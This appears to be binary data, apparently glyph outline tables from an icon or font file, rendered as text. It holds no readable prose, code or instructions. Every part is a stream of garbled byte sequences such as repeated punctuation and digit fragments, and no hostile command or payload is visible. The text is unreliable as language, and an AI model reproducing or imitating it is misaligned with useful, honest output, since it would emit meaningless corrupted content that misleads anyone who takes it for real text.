T4( 0 !2'7q (,/ $ /,( fM2)TX2#"&/.'&'67>?>;6"#!36767>'#/&'&/&/&=3'#";676?276=3276.'#& !- 4.!S.\  FF TA    <   ! 1 C%-7"- -. T؟`*DE  A<;A!  LI  IL" aK2#"'&'&47>?676&'&'#"'&'&67>372#"&/.476767#"#"'&#"327676?676323276767676323276?67676&#"#"'./."#"'&'&'&. "*    =HH    PP   #   $ ")     $   )     %6   &`4  "  3$$ & WCD    E &  #              &#3Yq%"'&'#"'&/&'&'&76?/&'&'&76?/&'&'&76?6;6326"1;53#3276?676764'&/&'&"1;53"276?>54/&'&'&"1276?676= $  $3'$          %V  I: X,. #   $"     #...*     "     #.   $   "    $  7 /$  #  &(  &(  &] "0 K. #2 )    "  $  "  "  "  "   *.L[%47675##"'.'&67.76763235.'.=47676;2+"&/.5"?6?6?6=&'.   */ /*    )     )   v 2&       "        `   }1&     U%4675#"'&'&767&'&7676;235.'&=47676;6+"&/&'5&5"#"76767676;227676'&'&'#?6767>54'&/&'&/. ] !! .  )   .   x   ,d  S&    $        ` & } *      :   3%    U%4675#"'&'&767&'&7676;235.'&=47676;6+"&/&'5&5"#"76767676;2"322#"&/&5'&5.#"32767654/&'76764'&/&'&/. ] !! .  )   .   x   #    ! I%     $        ` & } *    "     8  /   W%47675##"'&'&767&'&76763235.'.=47676;6+"&/.5232#'&'&=#&'.54767>76'3   */ !! /*    )   .       z  UW#            `   } nm 3  """[%47675##"'.'&67.76763235.'.=47676;2+"&/.5#32#"3267>54'&/.'&+537>/&'   */ /*    )     )   y\ 5   5   ) )3 1 \    "        `   }   B/  $R U%4675#"'&'&767&'&7676;235.'&=47676;6+"&/&'5&5%632#"'&'&'&'&=46?67676372'&5'&5.'&+""3264& ] !! .  )   .   L?&!+ 0  &     ) $        ` & 2 '  a7"      !f # #u4W232!/&'7676?6;6"#"7>?6;67>7675'.'&'"#";;27676=327654&'&+54&'&[s:.     PO )  qcnm 2 è$ "    .!^   PO> 0) T   2$zS     u4Whx232!/&'7676?6;6"#"7>?6;67>7675'.'&'2"'&5476763#">'&/&[s:.     PO )  qcnm 2 è$ "  <   .!^   PO> 0) T   2$z*!  ?C   uGW4632#"/'&'&/#"&54?6?'&'&'&?676?6?'&?>?= $VP   #  '<   <' # +!O>G/ 'yGG#WPO!+ # '<   <'  #   IG/ -OM GG_k2231.546?6?6767654&/&/&'&'#"#"'&'.5476767>"27676'&     %     #     +(*$      ;0  %.#2P          ) #  u/?]!&/&'&/76?6?676;667.'%#"3267>7>'&/&'. #   ;   $   13S !  (   g v' 13Qvnrw232#3547676732+&'./&=#35476763!#'&'&/&=#&'./#&'.46?6;6#3#35#. -- u  !   -  .B}|S \   5!  RSSb5e23"'&'.?>4/.#"#"&76?63%2#32+"&'&'67>;62+"'&'&=##"'&=46?>763"#"35/&'&/& e,'   ! . 6>   {4   '+ 1J%  S !  S `  *!    &-: S =# .    '+S %F,( S!-+// Fi2327676767632#"'&'&'.'&#""&'&54?676?676?6"#"3233267&/&'&'&22?676?62#"'.'.'&#"#"'&'&54767676"#"32767./&'&'&'&6,*     >2(#     !  $    0$ *$$    ;*MB9       /2C  % "(      )g       %*! S   #       I "     50S     (1+F2'&'&4762"'./&5476?>"#";267>'&'.#    ]   ] &    C    1" "m] ]    1(=Vo2'&'&4762'./&5476?>!2&'&4767>232+"'&'&7676!232+"'&'&7676"&54?>372%#"/.'&676372%"7>764'&    ^  ^ ^ !,/     C      B ^^ 5  ^  ^   1" "m^ # _    ^  ,/       _ ^*^ ! ^ 1" "u+y232#&'&'&'567>27676"#"#"##3676767537>76=326?>7676'5367>4&'&'66   pq 2&1 @Az  z    [ [  {    7    !$oq  z Y  z { <@  \u*x"&5476?#"&/&5467673"&'&=%"#"#"##3676767537>76=326?>7676'5367>4&'&'no6  7 B&1 @Az  z    [ [  {    np    !$6  z Y  z { <@  \tH"##"#"27>?537>76=326?>7675327654&'&T DC g  @=  DC g  @=   CD =@ +B  CD =@  { B\2 '&'&54676;62&'&76?! '&'&47676)'&'&47676"#" 76764'&'& X  m  # 20# gm    "    }  % " %     " RVein232+&'&'&=!#"'&'&'&=676;&/&/&47676;6#3!54?64' #3%#35/   <  R#"Z 3 +/ .BRRN$SS*S/"  Q . 767 /  \ 5 TRa  ASSSS2quy2323!54767363632+32#"'"'#&/&=!#"'.'&576?6;#"'&'&/476?67676#3%#3!"#2!74?67637'"/./&5'#3%#35 N 3    3 ( Z" "   ]SSGSSSS  L ' `SS*S1 43 34  "  $43.N 34TSSS   L   SSSS\5P47632732#"&"#"&"#"/&'&?676?6;2#"&2/&'&54?6763!263232#"'.'&'#"'&547676754##"./&676?67676?26'4&46763%21&'.'&5463"676?3"764/&'&/&     L   7 )ZX   !-     ##O  M  paVW V WV  W[,     /     /      I    W'  ' ,+   # 1'  %  Q WV  VV :`2#"'.'&/"#"/./&'&546?654/#"/.'&47676?676767>76;632?'&/&'&/&'&'&#"&767654'$tG70   vr !          #=A  $" WV   '$+!S(8+VW  ''   usO 4   8      WY VW   +WV P276762767632#"'&/#"'&/#"'&/#"'.?6767676"3276?276?276?326'&/&#"/&'.#"/&'&'#& 0220  0220 A)  322  322  322    )A { 0220  0220  0220 { 322  322 01100110A) $311311311   )Az$011001100110$z3113112#"#3254'&'&'&/&'&'&'5&54?>?6327>76767632#327676767654/&'&/./&#"#"/&'&] :&J  %.$"0  )  $-%   ! .  (     % V) 5+"%#'0 1Q  C4"  ,  --$   IH   0  #   %)1? 9  O#"/.#"#"/&'&'&5476?676?676?6?67676?63724632327676?'&'&/&'&'5&54767632/&'."276?>54/&'&'&!"276?>54/&'&'& -)7*'+8) #2  # K. !( $+ ?-'    !(7&%+60 # .J   )>"  +XC    $      $    %)$ .&&&  !      &')!.  P<., n "  "  "  " Kn%4632?6767676754'&'.#"#"&/&'&'54'.'.'&'&547>;2767632632"'&/"/."327654&   @   '"      '>3# *#Y1  4@ )  '6 +#1 #!Gr   !    3#/cA"@' ,0   2/6b2376?6?67676'&'&'&'&#&"#"'&'&7676?67&/&'.676#376767625&#"'&/&'&   AR$$?1E  &C   K/;#53"[=#   *. ;   - a)62) 1     !     8 "& &124&/&'&5476?632327>?67647676;2#"'&/&'&/&54?676?#"/&#"'&'&4767676"32767654'./&'&#"3267654'&'&/&'&    0 9[:."!    (%  2 -60($ # *$+ :9 / 2!  %    $%    .(+K< 9,6=8#B'#" % ?> "  ,. $ (- 8  2&L, M    . %_$   K123#&'&'&/54671676?67654/&'&/&'&'&+"32#&'&5476?3&'&/&'.54767>76?>3!!676?>54'&/!!)%     )(    A4* 8 "!    ,    ()     Z? "  +' 0 % 4"        H;Y  B8    ,4       6$*"":Q<      L7"#";7>?6?6475!7>4&/&'&/&'&'7267654'&'&#'6?676767654'&'&!5&54/&'&/&'&        5 L 3            1   0 *4)   "MU=-~  ( j    2. &-  F!O# "    !($!E*   7:.7  t B"#&;'&'&1326716?>'&/67327&',2`cI H[W  W[I H  H I[W  W[H Ic` 8"#"?6?54767627676757676213;;2?>7>/.'#"#"&/.'&/5/&'&'&/&#"&'&#""/&   !   "  ( " '>"   ,O          Ī     "   $-   -4Q~2327676765476'.'&'&'&76767.'&'&'&67676"#"32767654'&/&'&/&'&=" 8,$ # " /    (S$8$("4N %"209     " 8,$)  31Q= & #% #- &6!   YWiH  ( /?KE<,*!H5     -(`'  &3I  "u%3'"'&/'&'&>327&/&'&'&'&'&"&'&'5'&'&#"&'&''&'&'.'.?>?63722?632676321632#"32?6767654'4'5&'&'& $(* ,F    # !      &  % &+8(:  c -$ J    &       l    Ce,9 3( ; 00 4 , 5  ,"'"'&'&/#"&'&547>?6767657&/&'&54756&'&#"&747676?637'&54767>326767626?>76'&'&'&54621#"'4'&/&'&/&/&#"2676=4& :     3,#!  :I    .%6":     ;B   # +        4 ' $     %     !  :   .-(    ( $%4; (93,'  !3.+  /)'#     & *,    ub2#"'&4?>2##'&'&476?&/&/#".'&'&54?6767376?>"#";32654'.'&  !- "  4'&-,    + P   :     CPP    '4 *  32  CeKK9j~  RU :  (( T7f2767>32"&/&'&'.54767>?63"5476?&'&'.5476?&/&'#&'&#"7676?>54'&'&'.T=0 $1%2  E-   5? %  N9 +9'$$ 9  ! ))C8f  %      (**iE-.4"& 1S ()N t"* HH C@eSRC7d-* 0s#"&54654&'&'&'&'&'&#"2?632#"&/&/&'&'&5476?6?>76;2%#"'&632#"'&632"&547671632#"'&'&/&+"%2#"'&'&547676?67>332654&'  %3!?#->6,,*%   1 "B  )-w*)#  +`mC      3<-(      !#! 2 "   "  " #5 ." !8 9    "42>H*$& VxNx P# #  &     3'&*(  %@# % h  ud}7.5467>76;2376?676?6?6?5&'&'&'&+'&'.?>;2##"'&'&5'232+"'&'&7676"352#"'&'&54767676"7>=4&#3276=| 0"G a           P (  1       B *#  "4*?&    ! %)   1?A@       $  S_s    0 , w    S* %C'3'S   )   12?1+&'&/&'&'&576767>?6#!67&' gi6  hk abbbabbb1    gi   hl Tbbabbbab11Icm2#"'&'&'&'.54767676767636'7676764&/&'&'&'&/&'7'76?6767676?'&@:/262`*65 7/**[9; %D$&CJ &- #  noo 8#d!Q    1:pA9.3 *#-  .LPo71)+J:! r9"FN;-ono7- B" 2&*% R  PL2#"'&4?>"#367>'&/5676767654&#"1'..   !- "  ] H  (. @8V &  '4   _   6(. >+A10It2+'."#"'.'&5476?6?6367654'&'&+"26322#"&'&'&/&'&/&54676!2#"'&'&/&5476767>?474?>76#7'&/&/%#6?6?676?6=%$$&}    } + D" 'S   0u&(4* =@   !TT ** 0      ;7  z     )!#?,B ABE,# io    T $"+"  %IJ , u,|'&76?#"&/.=767>27232##"'&'.54?>323?6?676?54'."&'&6?>32#"'&'.54767676"7>54'&/&!"6=4& S 0 -,  " 5K  * % A+$+  ?Q ;  t%4* %   !    !`   58 ZX 8} >js9,    ?)  $0! OZV    _*C' ?)$S     9(Sn233!273654>! '&'&'&762#"'&/&'.5476?6?67676!2#"/&'.547676;6#";2654'&/.!#";267>&/& J  #/,     >    ?'/  ! /h       7     "  B  *   4*3! (!3  T     2(Ppv|2'&/!&'.'&=47676767!'.4767646232#"&'&/4&'&#"&'&'&4673#"&5476?5#'&#3757#3&'    OP ' &  0  &  "  *  DCJ>>?J)*1 NO"0      "0 )  S TRT***GKP232&'&=&'.#"'.57>763!!&'&'5676#3%#!5 .$ 9&  Z   x22 6 ||9   $"    3'  b 8n7 TRRRR2"276?'"'&'.'&'&=&'&#"7>?;7>76=32?6?67676?6=7676'5&'&'&'&#"#2654'&/&/& +.   '<   .(   !'   0  ;0 &   (.    &5  >  1+.  /"(?JP .( 9'   ( &$.3   (.  V5    &7  > 12>Vk1+&'&/&'&'&576767>?6!!67&2'&'&47676?>"#"32654'&/. gi6  hk abbbabb     1    gi   hl Tbbabbba RX   &(3%2#"&'&7676"&54676372"&5476327"2676&% } "(  = &T&=$3>2'&'&476#"'&/&546?6372"&5476327"2676&      }  "=" " =   T&/BM6762'&'&/2'&'.=4>2#"'&=4763"326'.     Z    ~?'    C    1}  "$ "8'@N2'&'&=&74>6762/&/2'&'&/&47676"32>'&Q     ~      7 t `9 @'     }"  ",Ca2'&'&767632'.'&5&575&74>6762'&'&/"#"7676?6574'&'&          "  | t  8a`8 ~?'    D!  C" t";#;676?>?>=3#54&/./&'&'#"3#"#327>=32727367675656=327654&'&+54'4'5&'&'#&#&+54'&'&'&/&.A USZK||KZ s!   N]%!F. UR  RU .F           1/ -E E-    C"'&'&'&";327676=27367676'&'&'"+'&'&'&S ^]N6   T  "N6     l  l "+"'&/&'&/&/&'&/&'&'#";327676767676?654767676?>32;67676'&'&+&'&'&/&/&/&'&/&'&f#        *4  /'  (    90  /(     &&.q? 3   $. ,   B#6#* #3CA8,%5' # 4'8    ## % I"#"#5'.'&#";37>763327>76'&'&+&'.'&'Q)0 S hn WT P[ S hn WT   Ɨ     7:   u1Lz"&547>7632#"/&"#"&/&'&'57>?67632#"&/&""'&/54"#"&/&76?&'&76762%2"&/.75'&'.54762>2#"&/&'&'&'567>476762#"&/&'&7676?"#"'.#"?67>54&#"54&/. ]  #& 21    ),   r       -)     1 =j   $ .   ^  4   X/+  4     5<   4      <5  -G  G ! [   f     f  4  B   3   u#.8BN2#"$'&'&5'467676767676"#35&'.3#7#7326?5 9 . O f77nkn} =) @I~6  S $ T  mm2B2!#&'&'&/&'&54767676?6?676?67676?"#"!76767676?6'54/&'&'&/&'&'#"'&'&?654'&"#"!67>4'&'&G:2% !( 4 )32! !'! ' !!    "#*^R$     D5] ((  2/ *, 3'H4  !"+4#)!   . S4   ">+!         T3(! ao4767'&#/&'&'&?6?>32>2637"#"'&'&'&/&'&54?6?&#"#"'&'&7"326?67654'&'&!"32767654&'&'    >? 1]]1DV   1") .86$- "@'!  $)" 5   $a7+$       %- ,   L9 $2!*#  4,    +(B  +(u*:%!'&'&'676?363!!!5'"'&/5767>37"3276'&'.t   1!SF       l R  j * $ M20VZ2#""&/&'&'&'&'676?6?>;6"#!36767>'#"'&'&'&753'";67>?6'&'&#&+"1'&/&/&'67>=4&/. ) IP2  'S.\  BE% TA   3.0"    1 C%"0  - -1T؟`*DE  &V;A! 4!% !   ,  %     1#A{2"&'&'&'&546767676#"32767654'&'&"#2675656=3;26?67654'./& *  ),'  0  &    >> , k   '. ^ 0 )0 .' T    ' 'P   .  &. ^w7\2)'&'&'&'&/&5474756?6767>763#"!7676?6=&'&'.'&";276?6?67654&#"#"/&'&/&1%    wb("   kt #    "H4  ' "+   ":@   k!#  \LSSY          0#@2".'.46767676?6#"2?6764'&'&) ,  *-' /    &  & 0 *-)   +),( / T  &  '1(@46;547627>732/./&"326756764/..  ] < ]   "  )!  #\""\    (   ) 2-E"&54?676762+./'&'&="326756764/.XXU  UX  ] ] "  )!  #8  XTTX  \ \^ (   ) 2G^v##'#'".?676736 !%&/&76362 '&54676"'./&546767"#"367>'.'&   . np . &      %.       !         j*%"/#"'&/&/&'&'&76?6?6767676?63236;23767632#"'&'&/&54#"##"/&'&"#"&54>?>?'&#"1?67'&'.546323267>327676?676/&'&/&'&'&+2#"&'&'&54?6?676?63%"#"327>54'&'&/ #    :!1  *  16'/    %"   o!   # &!O ' #   %        %'$+6W+       !         3    #73."&         /#+4 **%     &  " =,B,2;+  &0      +  1S232#"'.'&=#"/&'&/&'&'&54?676?676?6763"#"3547>76;'4/&'."#"32?67676?43"36767675'.'&#C9,/( 3# #    *3 #8( (  G ,;  " 1- 7)FC n!"   +  !Q'8  1' (8#     0( .3 (0.9H  <3 S) !=  CF)7 ]) 93  %M:3  1)U2#"'&/&'&'&547676"#"327>54'&/&/&'&2'&/&/&'&547676?6?67>2'&/&/&'&'&54?67676?63#"3276'.'&'&!#"27>7654'&/.'&+  3  "= '-  (  !< !&*R-   %  H,.#?$ !P#  R" 4#  0 0>)  &0V=S      4!   $H!"6%#  - &"&   (1=$ 1  ! S+E"!  6  # "0:2"'&/&'&'&/&'&'&5476?6?>763"#"32?'&'&/&/&/&'&5476?6?6?6?676?"/&"#3276?676?6?6?654&'&'&'&/&=i%) %*M@ A>%#  +`   !0*%    1 ' )     $2a2 7g  *   0(1",*2n/*)>%,  %42>H*$& VxS  $8!?#-       $@ # )  +3 'S" '\' "\" *5 $5.!& 1_2327632#"'&/&'&/&'&'&547676767676?6?676?632#"'&'"/".763763676"13326767676716?'"'&/&/&'&/&'&5476?"";?>54326'&'&+54&  ) Bu 80   ZO90,) 0     4U      (%  % !  E 4.F ;/*'  !      1    )d,!0&X  ! J  <;62#"&/&/&/&547676763#3%"32767654'&   TV ^^^>    03    $#  3Q"    %1      PY  U^%  !*    #6#S)- -)2C7&'&'&546?67676747676?'.4767632'&/##"'&'&/./22#"'&'&=4&'&'&'&'&'&'&#"'.476767676!&#32?6?676=     ON      OP1  $$)&%!(   *  &    .  V(S "   MB,PO  NO <1  /" $ 1?'.54767>32547676&7>'2#"&'&'54676;6!232"&'&47>'?6& UU  5Z +} Z5 <0/J  Q  6  0J DD  ~|*H #c H*|~  &&:       & :22gk%"&54676?'&'&4767632'&/#"'&'&5'2/.546767>&/#"'&'&47676'7.RW     P<    z  % /0    b(PAF   ?0 ~|kG `&&,   (@2-k|2'&/'&/5#&'&/.46?'&'&47676"&=476767>3723#"&76?'#'&'.=&'&'5;67&    ij`6  FEnk D -4   (- )DE  K& YZ ('h1 hiJ   `_nk  =G  8 =#9 y4)66g2(LZ%"'&''.4767632'&/#"&/4636;"&'&'54'./##"&'?6275+ ON      12  _^^_ $vN  ȧ 8\ PO  01" 8998R  Z!72,q%)&'&'&'&'&5476767'&'&4767632'&/#"'&5476?676;23#"'1&5&5'&'&'.#"'.'&=#"'&'&'.7676?'&'&+#)&'32780 , 2/     8    54 F&3    #2 $,   2"  =#   /!2/      -  3&$u #x  ) 4    %2 3" t> +[z23232+##"&'.=#"/&'&'&/#"&'&'5467>;54?676?6767676?54>76"#"32?676764'&'&'.2#"'&'.'&6?676"276?>54/&'&'&   `Q(        3>   +A4~  L'& !%+ 2&+!0]C!!#04J        $*  .E   $   Z Q($    +'%"     )e    !gL'  !  <)EK<2*  0,::=%'} #   +3.S "  " 22z2'&/#"'&'&'&/&/&5476?6?'&'&47676"&=676?676?'&/&'&'&'&#"#"&>?6;2'376?67&'#"'&'.'&=4767    BC3GJ =:   82BQ  *&9/"2*- '    : %% *2%.(! 22$ 1 AC !  .G:& !  v> =:       ' 1# % 01. )9 !<&"&  23    M2*PT2#!"'&'&'&'676?6?>;6"#!36767>'#"'&'&'&753'232+#"'&=#"'&5476;54676"#"367>54&+&  * R D 'S.\  BE% TA       $.   .1 C%0 C - -1T؟`*DE  &V;A!u        2(GU2'&/+"'&'&'&'&'&'&47676!2&/&'#"'&546?6;6'!6767     & 2  &# E  \[" Oz 1    !&#    [\  %282'&/#"'&'&'&'&'&/&5476?6?'&'&47676"&54767676?6;2'.767>4&/&/&/&'&/&'&#""&4'&'&'.'&67>32#"'&'&'&7&'3276?&''    CDC>  /! ^c    1.  &- #G<+8%        )  0)* '   K%$//  b-6  z2  1 BCC?   _b"$ 0.    ( ( )$)=%  '2F2 (  '      #t 264./ -?(?$ b.3 y2!#+F2#"'.5476763%2&'&7676#"32?6?654'&'&1 )   '      ^   %' 2>22?>;"/&'&/&'&'&/.&'&7676#"'&'&'&76?2/&+"#'&'5&'&'&76767676;631'&/3267654&'t  lm   !014J8$% @h ; QD  !!  !+ !0._++52 %6 )d\*#1 '&++aa#   @i   2KJ ,1 195   .Fev  %  ml !P&  CGD23q{2&/#!'&/&'&'&/.547>7'&/&7>476731#"'&5'5'.#"'&'&>325&'.'&'#"'&'&76767&%#"&767676;2"!67'&'&    >      2H  &%   ! QD A   !z$ 1     (     T  H2(  %%     ! VC A I! BKg/5#"'.'&'&'&5'5'&'&/&'54>76$;6$"#327276?6?67676=#  '*) '; $!&6/* I< 1 +W9BD" caTP  (dc,  4 *##Ij  yyyW_)*U     PS''2?2'&/#"/&/&'&/&'&'&/&'&'&54767>7'.47676"&5&76?6?6?676232'&/.547>?67654/4#'"/&/&'&"#0#+767'&    68 #+6     :           $$        , JD)  3   +25AXH1 69     "ft )- (          . I;48   *#--6* & )20<5-/$3"%>2T2'&/.'&=4&/#"'&/&=46?6767636;'./&'&'1&/.47676#"276767676763276?67654/&'&'&    % 0/icT9+4 )@L   ji   @)     >' .  "< 1 #  7 /0Q,27 F* M    kj 4   4<%    3?W< 2d"&547676767'#"'&'.54767676?'.4767632'&/&'&/.#"'&'&76?6?2/2"'&/&'&'&#"/.467637632/&'&'&'&'&'&476?6"76?64/&'&  > *  +BA      uv  ! $ %7 @  ME/F ,!     =2AN     %   4  T  X   > "   CB  tu     @   [# !  %    ' " "2Gv2323##"'&'&/&=6?#'&'&/&476767376767>76##33767676735#'&=4?6?5  9=^  00  9=^  0:0/ AA <0/ AA1ZXY^  KK ZXY^  KTJJ T  +qJJ T +q1c%21#"'&'.'&547676?6?6?6;2#"'&'.76767654&#";27676'27654'&'&'&/&'&+"6?67632%"#"4'&547676767676?6?&3276?6?67"/&'&/&'&4+2%#"'{_[<$Q +- "MD1<"  F3%!"& %-- $/ '"<-!=)% NTB% 1X'    /"    #         E$   3 64`$R5 WP_D ++#74 0    %*!  38M3 8,D   (   !      Fs"       $      7X276?6?676232#"'&'&'&/&'&5476?6?'&476?67>326#?6327276?676767654&'.'&'&/&'+"/."'&/#"/32767676767654'&#"/&'&5476732676?#"'./&547676?676?6?'&1      !,#%"! u   )=(2+!,"0/    ,  -B 8      %        [09E,#@%* !Y  . <<    !    "     u(*,"& #    ;?67676?63"#"32767654'&'&/&!"32?6764'&2! 6% % 'A &  %'2(6    # n 0(       6 #  ,  %:  $"?0 S #0     4'%1(G#+#"'&/76716;6#7673636;?4"'&'&7676;765&+ 7   #6XU +  qe "6 ZZ1 %U)  pl % TX* TRS  x$8o23#"'&'&'&'&5&7=47>76;6"#"3276?6?676?6?6?676=&/&"7>?654&+'.*/ *65 7/**}= 5(  +X    8  6      2b C/' *#-  >{>? ([`4'3 S9,3& KY7     2_:32++"'.'&=#"&/.'5&5&=&7676?>76;547676?6;6"32+;576?676?67>76764'&'&'2#"&54676"367676=#"'&'&7676;67>7675'&'&'&#&#"#"3264'&'&< ,3#  0,4(&?b2' 3# , , .2  4&B@A   L /  z 43' mS @A      16"$ <5  E@(5 /%4! <4  E@  TA@ M\I    )   }0+(4 A@    P\   $ 2E27632#"'&/#"'&'&'&'&'&5476?'.547676763"3276?>233276?67654'&/&4?654'&'&/&'&'&#""/&"3#"'&'.'&#"3276767654'&'&'&/&'&/&'&'&'5476?676?6327654.H' !*-!#XM9# + ,K  *. Z<  7` =T+&/8      0o  "  4"(  E$     !%4"  # 27&(    $ /  4" #4X0  M9RF`.& >/%$!mHL$" +#IST=     &  )$'   _   T( '    %'! %!     %  "O'1> 2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&#"'&'&'&'&#"&47676?63722'#"&'&'&#"1'.5476?676?63"#"7676763232654/.#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8  *)17"0 /  ?D *""$+    !#.%"    (!      >0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*% '       )           "1N23#36#"'&'&'&'&75#'&'&/&476767;>7676?67676"#3223;5#&'&/&747>73636;5#"'"'#.'5&5&=T [  bYF0$   %  T))    B+  3% BHz   +BB+ 1 DD   0$+,  %( T.3  Rh%2 S'   R ,Bu.E]v236+/&/5#"'&'&/&57676;6!327>7672;672'&'&/&47676;#"7676=45.F]c)%proPN # : 2  ,12       6| q PN # T7 +222!    NZ U# y26?6765/4#""&'&547676767632#"'&'&'&'&/&'#"/&/./&4?6?67676?6763#"7632327676?6767676767676'4&'&#"#"'&/&'&/&'.k2!,      3&    *:X  $         "$         %   +"!  !!     !,O*0&#  7   "+$$) &1!:B    +j.P;      $S $   !C3"-+$$% "%0T; '  1M%&# %);#J* 1q2"&546?6?6?6763&'&54?>?>75476767>76767632##"'&'&/&=4632"'&/&/&/&'&"1!&'&54'&/&'&'&'&'&'./&#32?6?676= 0%  !   M 'I  @ )$   3   $* $              S " 1 (A   f   7K&(-N11 & @d+k&    $0   $2  q /   "     !**N? E      L1<f23#".'&/&763754'./#+"'.54?>76;62#"'&/#"&'./&676?6?6"#&76?6325'.'Vc'4 3  t  ) Ik@ " X___   !,( JK =H 1 4''@%          5 "5999  T,-%+ a" 76?6/#5'&'&V  T% a#  `#"# 76?6'& %T `  T"a"?5376/&'& %a % a"3?676'&/&%  a %TO92! '&/&76?6";67654&'&+54'.  /            T    @67676;2 '&/&76?!7"#"#"!67>='&'&/&    /   b   "      O83+#"'&'54>767"76?!7676/&'&ְ     ;   /        /   9#"&'&=#"'.546767!%"!?676'&/&     E  /     -    T26u|2'&/ '&'&/&'&'&'&=47676?6?'&/&7>2&547575#'&'&/&676?6;54'.'.'!'&'.6;63!23!'+"&/.=47676;&"654&   &'    !    Ŀ   ' $ jg    b U "N732!#&'.'&/>767;7676'&'&/&/!?.' 5\X"    *$  ݟ`* **    "XGF  `        ` OG ױ' Gkj v#       u*.?T2#"'.'&/47>;6#3  '&54676"#!67>54'&3@%^U  /3t}N  d  N.1  0L0  ~     ^`& T   2)^k2'&/! '&'&'&/&=6767671'&'&7>!#"'1&5&5'.'%'&/#"&/.54?>31;    #&1   o&3   :;  X 1 #& &  $   * n 3&$u #x 9<  IZ&'.#"'&/4."#"'&/'&"#"'&/54&/&#"#"&54762676763273237632'&/#"'&/&'&'&'&/&47675676325'.47667565%'#"&'&'&'&#"32676?&'#"'&'.="              %+!<' $  &    ' A3!: :<  dc  8?=t   "K    &>E#  P      NC   & % 2 ) %      *'nt " Qed6? ~ & E     Z:#"'&76?67676;632&54?4'./&#"%2'&/32+"&'&'5&'547676;5'&'&'&/&'&'&=46763232?6/#"'&'&'&='&'&47676"76?6?6=4.   '1  : %       _b '-@A Z:   <@;3'+   Ih)$ 5 ", yv '     '  #QzN-  su    l _bV    U+ 0  $"I 4-%xv  / ,%  +;   M2+!547676##+32!&'.4676;5#&/&'67676?646327>732+./#"&54?6?'.'&#35j5    ) ;Y     *    <  ,,  < &S! `@B HF 2R R3 *;   --$ ;& RROy~2!!547>##+32!&'.4676;5#"'"'#.'767676?6736!#"&'&=&=46?#"&/.546767#35j5   2  ;Y   Y;    x\  # 8L4  S`@B HF%RR$ ZT  # :L RR(Z-B2&54?'&/&'&476?6?6?>76? 5+/"  ;r   % ]8 #O-Z  DF5*.      M  Z7 5*2Y'&/&'&767'.#"&'&'&'&546?6?6&'&4767632'&'2#"&54?6?6=6'4/&/&/&5467630#"?>?>54'&'&        "  %   p     {&$ . p      '        C$$   %(/,?2 &  %.,",72F$o   &>HN$ %  ;: u#     9(  t6}2#"&/&'&'&5476?6?676?>!2"&'&'&54?6?6767>54'&/&/&'&/&54767>2"&'&/&/&5&7676?676372'.76?>54'&'.63"2676'&'& $    %          ,               "     p"   .( >*    %6&%,1! (     :*$$ .,  5&)"   u   *   !0 # ", 7#  ! $u 2$[s2'&/#"'.'&76767&'.476764675.'&54&'%&54673'&'&/."#";&'    OP)7)&  ~/     1 NO7)( )& !Z  &   z   '  '@?'  2k>;22#"'.'&=47476767&'.4767632'&/&+"'"/.'&5&='&24'&'1&'&'&'&/&#"&'&7676?6;2#"'&/54&'.#'&546767.#"3267%';        %*7#-#        -    )  *;E,&   81&,A6$  "  o     $2$7*$K0/!,$-#   3! (> &7 -(        %L2Q  BZ $  r   #&  !232'&/+"'&'&'&'&=46?67676375'.47676!22&/5'&'.'&/#'&'&'&7>;54&/&'&'&#"'.5476?67>?"!6767/#"&'.547676322&/     & 2  ! dc  X&   -,xI z US #   ),1    99@ed 767&'.'&'5%"#"27654'&'&+       3Q:   ]P0 -  2 RS5(/  "  B  B 7"  4ca7"T  - D)t) *   262'&/+'&'&'&'&'&'&754?676?'.47676#"&'&'5&'.'&'#"'&'&54676;6;2276762#"&4767%"!676=&'    `a "Q: %"  +  :E  &,          S>-1 _`  6W-"!   w       B '  )  )Hht276762"'&/+'&'&'&'&'&5&7=46?676?6;6"!67>767&'.'&'5%"#";3267676=326?>54'&'&+54&'&+       3Q:   ]P0 -  2 RS8        B  B 7"  4ca7"T  - D)t) }     Hht276762"'&/+'&'&'&'&'&5&7=46?676?6;6"!67>767&'.'&'5+       3Q:   ]P0 -  2 RS B  B 7"  4ca7"T  - D)t) @"/&'.'"+";326762;27676'&'&+'&'&S   'W GG98ED  'W GG98Q4N     Q4N   0E2#"/&/&'&/&/&/&'&'&547676?676763"#"32767676?67654/&/&'&'&'&/&"&54?'&5463276?62"'&/&6323#%"'""3276?32767>&'<7+1 ."  +%(31:E#!3 #>Id   !0*% /"* M<12"  #  #k5"  " < " 77  K   '   " 34  0 !3 nV>%  "- '"0A9.3 5,4S  $8!?#- 7/"+.%""NF  _?     <l  cb$,   q   #  r0#+7C2 1#"&'&'67>6767'&'&'6&'&#3276?6?'& 35   %$' 2A0c !1P, X##E49$' 0 ( /j/S 6H4z%6W.m4%&JJ=! 2BMR23632 '&'&7676;57>?>;7676767676763'4/#!5  > &M        ;& .+ ,%$$%,1 >LV_0/   /0_VL.+f,))1"Hf 2+"'&'&/&#"'&7>2'&'&7676?6?6?63"'&/&/&'.4767632%2'.54?6?676?63"&547676?6467632%21'&/&/&/&'&547>"&54>7676?6?67632%#"32>&#"'&/&     '  !     - &     '"      4       '       /2  ( !#1 #           /2 ! 56   ,  " S    /2         'S"  (  2 )7GTao2#"'&76764632'&'&%4632'.462/.%4632&2#"&'&76!2#"&'&76462/.%4632&462&%462&'"276& # w&  l  +%  &w& A1"_!   z   }     u%% ""[_r"'.'&7>76236#3232#&'.4676735#"'&'&/&576?6;6#32#/.546763"327>7654'&'&щ#! $+$  ,     x   -VP+ " HRy    '   "L)  S S ) .+     "M2X\2"'.'&76763736767>'#/&'&/&/&=##"&'&'567>?>;63'"&'5>?63727>32+#"'&/./'#37#26'=6767673'  ' >@:= FF  !SA &-.  "           $ ))N&&R21 C%1 DE  A< -  . A!!$" G > & 28}};; 0 }K1UZ2+"#&'&'&'.=4>72;67676=#'&/&/&/5#"#"'&/476767676;6'37"&'&'&5&=467>76?6;767676;232+""&'456&"3?4+&'&'&'#35  4( 4   AFF" |     0 O'!! H6 "(C  !#  8 !;!" m ,NN.- )1  (4   FG    *  B  . e  $  !&   D?!'&'.6767'5$!     mp    7'  BSz  i*T $!   mpi     e ,     J[ 